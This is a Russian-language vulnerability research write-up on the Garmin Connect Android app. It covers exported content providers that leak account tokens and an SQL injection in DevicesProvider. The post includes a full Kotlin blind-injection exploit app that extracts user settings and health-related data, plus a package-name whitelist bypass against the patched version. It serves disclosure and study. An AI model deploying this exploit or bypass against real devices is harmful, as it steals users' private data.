Инъекция для атлета - (не)Уникальный опыт

Инъекция для атлета


После очередной тренировки на которой у меня опять не работал GPS, я решил попробовать покопать прошивку моих спортивных часов чтобы попытаться понять в чем может быть проблема. Прошивки в свободном доступе я не нашел, поэтому решил зайти со стороны android приложения и проверить можно ли получить прошивку через него. Так и началась эта история…

/img/injection-for-an-athlete/kdpv.png

Для начала я решил проанализировать манифест приложения. Вдруг там что-то интересное попадется по пути. Интересное нашлось довольно быстро:

<provider
    android:name="com.garmin.android.apps.connectmobile.contentprovider.DevicesProvider"
    android:protectionLevel="signature"
    android:enabled="true"
    android:exported="true"
    android:authorities="com.garmin.android.apps.connectmobile.contentprovider.devices"/>
<provider
    android:name="com.garmin.android.apps.connectmobile.contentprovider.SSOProvider"
    android:protectionLevel="signature"
    android:enabled="true"
    android:exported="true"
    android:authorities="com.garmin.android.apps.connectmobile.contentprovider.sso"/>

Пара экспортированных content provider-ов с довольно интригующим флагом android:protectionLevel="signature". Почему интригующим? Да потому что согласно официальной документации у провайдеров нет такого флага. А это означало, что разработчик исходил из совершенно неверных предпосылок о безопасности этих компонентов и фактически сделал доступными для всех, вместо того чтобы открыть доступ только для приложений из экосистемы.

SSOProvider

Первым делом я проанализировал SSOProvider, и данные которые он предоставлял выглядели выглядели довольно интересно:

public class SSOProvider extends ContentProvider {
    public static Bundle m8137a() {
		...
        Bundle bundle = new Bundle(5);
        bundle.putString("serverEnvironment", GCMSettingManager.m9390s().f125010a.name());
        bundle.putLong("userProfileID", userProfilePk);
        bundle.putString("connectUserToken", mo29850g.f250a);
        bundle.putString("connectUserSecret", str);
        bundle.putString("userName", GCMSettingManager.m9349D());
        return bundle;
    }
    ...
    @Override
	public final Bundle call(String str, String str2, Bundle bundle) {
	    if (TextUtils.isEmpty(str)) {
	        return null;
	    }
	    if (!"getSignedInUserInfo".equals(str)) {
	        h2.m8516g("SSOProvider", "Fix me developer, I am not handling methodToCall " + str);
	        return null;
	    }
	    try {
	        return m8137a();
	    } catch (ExceptionInInitializerError e12) {
	        h2.C5191a.m8520d("SSOProvider", "Exception in SSOProvider calling getSignedInUserInfo(): " + e12.getMessage());
	        return null;
	    }
	}
}

Из декомпилированного кода провайдера видно, что для получения пользовательских данных нужно вызвать метод getSignedInUserInfo. Здесь нет никаких дополнительных ограничений, а значит любое приложение может эту информацию получить. Я воспользовался adb чтобы посмотреть присутствуют ли заявленные данные в этом провайдере или он является устаревшим и пустым. Предварительно залогинившись в самом приложении, я вызвал метод getSignedInUserInfo

/img/injection-for-an-athlete/ssoprovider.png

Выглядит весьма полезно, и это мог бы быть шикарнейший захват аккаунта, но нет. Извлеченных для получения авторизационного токена пользователя недостаточно. Помимо пары userToken/userSecret нужна еще одна: consumerToken/consumerSecret. А их можно получить только зарегистрировавшись в программе разработчиков Garmin. Но проверить эту гипотезу я не смог, т.к. регистрация в этой программе требует обязательной верификации со стороны Garmin. Поэтому максимум, что можно извлечь из этой уязвимости это получение email авторизованного пользователя и его идентификатор профиля.

DevicesProvider

С этим провайдером оказалось все гораздо интереснее. Он позволяет получить информацию о подключенных устройствах пользователя. Также есть возможность указать конкретный идентификатор устройства чтобы получить данные только по нему:

public class DevicesProvider extends ContentProvider implements BaseColumns {

    public static final UriMatcher f23097a;

    static {
        UriMatcher uriMatcher = new UriMatcher(-1);
        f23097a = uriMatcher;
        uriMatcher.addURI("com.garmin.android.apps.connectmobile.contentprovider.devices", "devices/product_nbrs/*", 1);
        uriMatcher.addURI("com.garmin.android.apps.connectmobile.contentprovider.devices", "devices", 2);
        uriMatcher.addURI("com.garmin.android.apps.connectmobile.contentprovider.devices.sdk", "devices/product_nbrs/*", 3);
    }

    public static C37963a m10126a(ArrayList arrayList, boolean z7) {
	    ...
        arrayList2.add(new C37964b(interfaceC3736e.mo7425r2(), strMo7391L,

        interfaceC3736e.getPartNumber(),
        interfaceC3736e.getProductNumber(),
        interfaceC3736e.getSoftwareVersion(),
        C3008b.m6553g(interfaceC3736e),
        interfaceC3736e.getDisplayName(),

        interfaceC3736e.mo7410d(), c3735d.f15835c, i12, z7 ? interfaceC3736e.mo7412d3() : null, z7 ? interfaceC3736e.mo7382E2() : null, z7 ? interfaceC3736e.mo7426s() : null, interfaceC3736e.mo7409c()));
            }
        }
        return new C37963a(arrayList2);
    }

    @Override // android.content.ContentProvider
    public final Cursor query(Uri uri, String[] strArr, String str, String[] strArr2, String str2) throws Throwable {
		int iMatch = f23097a.match(uri);
		...
        if (iMatch == 1) {  // /devices/product_nbrs/*
            z7 = true;
        } else {
            if (iMatch == 2) {  // /devices
                return m10126a(C2471p.m5655z(), true);
            }
            if (iMatch != 3) {
                return null;
            }
            z7 = false;
        }
		...
        String[] strArrSplit = uri.getLastPathSegment().split(",");

        StringBuilder sb2 = new StringBuilder("product_nbr");
        if (strArrSplit.length == 1) {
            sb2.append("='");
            sb2.append(strArrSplit[0]);
            sb2.append("'");
        } else {
            sb2.append(" IN(");
            while (i12 < strArrSplit.length) {
                sb2.append("'");
                sb2.append(strArrSplit[i12]);
                sb2.append("'");
                i12++;
                if (i12 < strArrSplit.length) {
                    sb2.append(",");
                }
            }
            sb2.append(")");
        }
        ...
	    cursorQuery = AbstractC19805f.m30561s().query("devices", null, sb2.toString(), null, null, null, "is_connected desc, last_connected_timestamp desc");

        return m10126a(C1046i9.m2940s(arrayList3), z7);
    }
    ...
}

Я немного урезал и упростил декомпилированный код провайдера чтобы читателю была лучше понятна суть происходящего. По сути провайдер проверяет переданный URI на соответствие заданному шаблону и в случае успеха вызывает метод query, который в свою очередь пытается определить запросил ли пользователь все данные сразу или указал конкретный идентификатор. Также тут есть есть интересная возможность передать не один идентификатор, а несколько через запятую. Это в итоге изменит финальный SQL запрос к базе данных. И если внимательно присмотреться к алгоритму сборки запроса, то сразу становится понятно, что здесь может быть SQL-инъекция, потому что запрос собирается с помощью StringBuilder без какой-либо санитизации.

Вообще, SQL-инъекции в провайдерах - не редкость. Их находят даже в системных провайдерах, но Google даже не думает их исправлять. Почему так? Ответ прост — в большинстве случаев за провайдером стоит база данных состоящая из одной таблицы (плюс служебные), или же остальные таблицы являются вспомогательными к основной и не представляют интереса. Поэтому фактически, если удалось получить данные из провайдера и эти данные полезные, то этого достаточно для подтверждения уязвимости.

Но здесь мне повезло и инъекция была вполне себе полезной, потому что база данных, к которой обращался провайдер, содержала несколько полезных таблиц:

/img/injection-for-an-athlete/database.png
Например таблица json, содержит довольно подробную информацию о параметрах пользователя. В том числе данные, которые можно отнести к медицинским. На этом этапе вся необходимая информация для атаки собрана и можно приступать к разработке эксплойта.

Эксплуатация уязвимости

Для обращения по URI подверженного инъекции необходимо сначала узнать идентификатор устройства. Это довольно легко сделать выполнив базовый запрос на получение списка устройств. Для простоты повествования все промежуточные запросы я буду демонстрировать с помощью adb.

/img/injection-for-an-athlete/query.png

С помощью этого запроса извлекается первый элемент знаний - номер продукта. Конечно у пользователя может быть подключено несколько устройств, но это никак не влияет на саму цепочку эксплуатации. Все показанные далее шаги применимы к любым подключенным устройствам. Теперь, используя полученный номер устройства можно сделать запрос к URI content://com.garmin.android.apps.connectmobile.contentprovider.devices/devices/product_nbrs/2158, который должен вернуть ту же информацию, что и на скриншоте выше. При этом важно понимать, что к базе данных будет сделан следующий запрос:

SELECT * FROM devices WHERE product_nbr='2158' ORDER BY is_connected desc, last_connected_timestamp desc

Из него хорошо видна точка инъекции. И на этом история могла бы и закончиться обычной Union-based инъекцией если бы не способ, которым этот провайдер работает с данными из курсора БД. Насколько я успел понять, там используется обертка, которая берет из ответа только определенные поля с определенными типами и возвращает этот набор в качестве результата. Зачем при этом запрашивать все поля через * в запросе - для меня загадка. Впрочем задачу реализации Union-based инъекции я оставлю для эстетов, а получение данных буду показывать с помощью Boolean-based blind инъекции.

Но это не все проблемы, с которыми я столкнулся при эксплуатации данной уязвимости. Было одно важное условие: полностью избегать запятых в запросах. Это ограничение продиктовано следующим кодом из провайдера:

String[] strArrSplit = uri.getLastPathSegment().split(",");

StringBuilder sb2 = new StringBuilder("product_nbr");
if (strArrSplit.length == 1) {
    sb2.append("='");
    sb2.append(strArrSplit[0]);
    sb2.append("'");
} else {
    sb2.append(" IN(");
    while (i12 < strArrSplit.length) {
        sb2.append("'");
        sb2.append(strArrSplit[i12]);
        sb2.append("'");
        i12++;
        if (i12 < strArrSplit.length) {
            sb2.append(",");
        }
    }
    sb2.append(")");
}

Он позволяет делать запросы к провайдеру используя такие URI конструкции: content://com.garmin.android.apps.connectmobile.contentprovider.devices/devices/product_nbrs/2158,2159. Далее это преобразуется в запрос с использованием оператора IN:

SELECT * FROM devices WHERE product_nbr IN('2158','2159') ORDER BY is_connected desc, last_connected_timestamp desc

Нужно ли говорить, что это все вносит ненужный хаос в происходящее и приводит к escaping hell в полезной нагрузке. Также это ограничение повлияло на дальнейший выбор подходов к извлечению данных сильно сузив количество возможных техник. В итоге, финальная базовая полезная нагрузка для обращения к провайдеру выглядит так:

content://com.garmin.android.apps.connectmobile.contentprovider.devices/devices/product_nbrs/2158' AND (SELECT cached_val LIKE $payload || char(37) ESCAPE '\\' FROM json WHERE concept_name='USER_SETTINGS')--

Суть полезной нагрузки сводится к посимвольному извлечению данных из записи с ключом USER_SETTINGS таблицы json. При обращении к провайдеру таким образом, будет выполнен запрос примерно такого содержания:

SELECT * FROM devices WHERE product_nbr='2158' AND (SELECT cached_val LIKE '_' || char(58) || char(37) ESCAPE '\' FROM json WHERE concept_name='USER_SETTINGS')

Который благодаря символу подстановки в операторе LIKE и конкатенации с проверяемым символом будет постепенно извлекать данные из целевого поля cached_val. Поскольку содержимое этого поля представляет собой json, то потребовалось дополнительное экранирование симого символа _, который является валидным разделителем в данных. В итоге, собрав все вместе получаем такой класс для осуществления Blind SQL Injection атаки на провайдер com.garmin.android.apps.connectmobile.contentprovider.DevicesProvider:

package com.ptsecurity.garminsqlipoc

import android.annotation.SuppressLint
import android.content.Context
import android.database.Cursor
import android.net.Uri
import android.util.Log
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.flow.Flow
import kotlinx.coroutines.flow.flow
import kotlinx.coroutines.withContext

class Exfiltrator(private val context: Context) {
    @SuppressLint("Range")
    fun startAttack(): Flow<String> = flow {
        val data = mutableListOf<String>()
        var sequenceIdx = 0
        var productNbr = ""
        var payload: String
        var uri: Uri
        var nextChar: Char

        // Query to extract existing product number
        context.contentResolver.query(
            Uri.parse("content://com.garmin.android.apps.connectmobile.contentprovider.devices/devices"),
            null,
            null,
            null,
            null
        )?.let { cursor ->
            if (cursor.count == 0) {
                return@flow
            }
            cursor.moveToFirst()
            productNbr = cursor.getString(cursor.getColumnIndex("product_nbr"))
        }

        // Series of queries to exfiltrate all user settings
        for (i in 0..1544) {
            if (i % 200 == 0) {
                Log.d(TAG, "Partially extracted data: ${data.joinToString(separator = "")}")
                emit(data.joinToString(separator = ""))
            }

            while (sequenceIdx < OPTIMIZED_SEQUENCE.length) {
                nextChar = OPTIMIZED_SEQUENCE[sequenceIdx]
                payload = "'${"_".repeat(i)}'||${if (nextChar == '_') "'\\'||" else ""}char(${nextChar.code})"

                uri =
                    Uri.parse("content://com.garmin.android.apps.connectmobile.contentprovider.devices/devices/product_nbrs/$productNbr' AND (SELECT cached_val LIKE $payload || char(37) ESCAPE '\\' FROM json WHERE concept_name='USER_SETTINGS')--")

                if (query(uri)) {
                    data.add(nextChar.toString())
                    sequenceIdx = 0
                    break
                }
                sequenceIdx++
            }
        }
        Log.d(TAG, "Exfiltrated data:\n${data.joinToString(separator = "")}")
        emit(data.joinToString(separator = ""))
    }

    private suspend fun query(uri: Uri): Boolean {
        return withContext(Dispatchers.IO) {
            var cursor: Cursor? = null
            try {
                cursor = context.contentResolver.query(uri, null, null, null, null)

                if (cursor != null) {
                    return@withContext cursor.count > 0
                } else {
                    return@withContext false
                }
            } catch (e: SecurityException) {
                Log.e(TAG, "Permission denied accessing ContentProvider", e)
            } catch (e: IllegalArgumentException) {
                Log.e(TAG, "Invalid URI or ContentProvider not found", e)
            } catch (e: Exception) {
                Log.e(TAG, "Error querying ContentProvider", e)
            } finally {
                cursor?.close()
            }

            false
        }
    }

    companion object {
        private const val TAG = "Exfiltrator"

        private const val OPTIMIZED_SEQUENCE = " {\":,._-}[]0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    }
}

Чтобы не усложнять код эксплойта, решено было не реализовывать отдельную инъекцию для получения размера извлекаемых данных. Я просто взял размер который получился у меня и вставил его как константу 1544.

В ходе эксплуатации в логах видно какие запросы выполняются в БД мобильного приложения:

/img/injection-for-an-athlete/db-logs.png
Также сам эксплойт отдельно пишет логи:
/img/injection-for-an-athlete/exploit-logs.png

Для большей наглядности было решено выводить извлекаемые данные в интерфейс приложения-эксплойта.

class MainActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        enableEdgeToEdge()
        setContent {
            GarminSQLiPoCTheme {
                Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding ->
                    ExfiltratedData(modifier = Modifier.padding(innerPadding))
                }
            }
        }
    }
}

@SuppressLint("CoroutineCreationDuringComposition")
@Composable
fun ExfiltratedData(modifier: Modifier = Modifier) {
    val context = LocalContext.current
    val exfiltrator = remember { Exfiltrator(context) }
    var extractedData by remember { mutableStateOf("") }

    LaunchedEffect(exfiltrator) {
        exfiltrator.startAttack().collect { data ->
            extractedData = data
        }
    }

    val scrollState = rememberScrollState()

    Column(
        modifier = modifier
            .verticalScroll(scrollState)
            .padding(16.dp)
    ) {
        Text(
            text = "Hello Garmin!\n\n$extractedData",
            modifier = Modifier.padding(8.dp)
        )
    }
}
/img/injection-for-an-athlete/app-data.png

Но это был еще не конец…

Подготовив все необходимое для отчета, я неожиданно понял, что версия приложения которую я скачал для исследований была не самая новая. Более того, она отличалась на целую маржорную часть… Все описанные выше действия проводились на версии 4.73.3, а на момент подготовки отчета актуальной была 5.14. Будучи готовым к самому худшему я поставил самую новую версию и проверил на ней эксплойт. Он конечно же не сработал. Но сдаваться это не мой стиль и закинув новую версию в декомпилятор я начал изучать что же там исправили.

Во-первых, они убрали бесполезный флаг android:protectionLevel из провайдера, но сами провайдеры остались экспортированными. Что оставляло определенную надежду на успешную эксплуатацию или поиск новых уязвимостей. Во-вторых, в оба уязвимых провайдера они добавили проверку на имя пакета взывающего приложения и его соответствия белому списку:

public static boolean m18185a(String str) {
    C21868k.m28483j().getClass();
    JSONArray jSONArray = new JSONArray(C9048i.f39804c.m11180a().f39823b.mo11170h("content_provider_consuming_apps_whitelist"));
    int length = jSONArray.length();
    for (int i10 = 0; i10 < length; i10++) {
        if (C36065r.m52958g(str, jSONArray.getString(i10))) {
            return true;
        }
    }
    return false;
}
...
String callingPackage = getCallingPackage();
c15128a.getClass();
if (C15128a.m18185a(callingPackage) && !TextUtils.isEmpty(str)) {
	// Do dangerous things
}

Никаких других проверок не было и фактически, для обхода этой проверки мне было достаточно поменять имя пакета своего эксплойта на любое из имен имеющихся в белом списке. На момент исследования он выглядел вот так:

["com.garmin.android.apps.connectmobile","com.garmin.android.apps.dive","com.garmin.android.apps.explore","com.garmin.android.apps.explore.develop","com.garmin.android.apps.golf","com.garmin.android.apps.messenger","com.garmin.android.apps.virb","com.garmin.android.apps.vivokid","com.garmin.android.driveapp.dezl","com.garmin.android.marine","com.garmin.connectiq","tacx.android","com.garmin.android.apps.gccm","com.garmin.android.apps.shotview","com.garmin.android.apps.shotview.debug","com.garmin.android.apps.shotview.release"]

Помимо вполне валидных имен пакетов, которые точно есть в Google Play, я нашел пару приложений с суффиксом .debug, что явно указывало на отладочные версии приложений, которые точно никуда не выкладываются кроме внутреннего контура компании. А значит злоумышленники вполне могли бы использовать такое имя и даже выложить такое приложение в маркет. Для теста я поменял имя пакета эксплойта на com.garmin.android.apps.shotview.debug и это отлично сработало. В приложении опять начали отображаться данные полученные с помощью инъекции, а значит основная уязвимость исправлена не была и работа не пропала даром.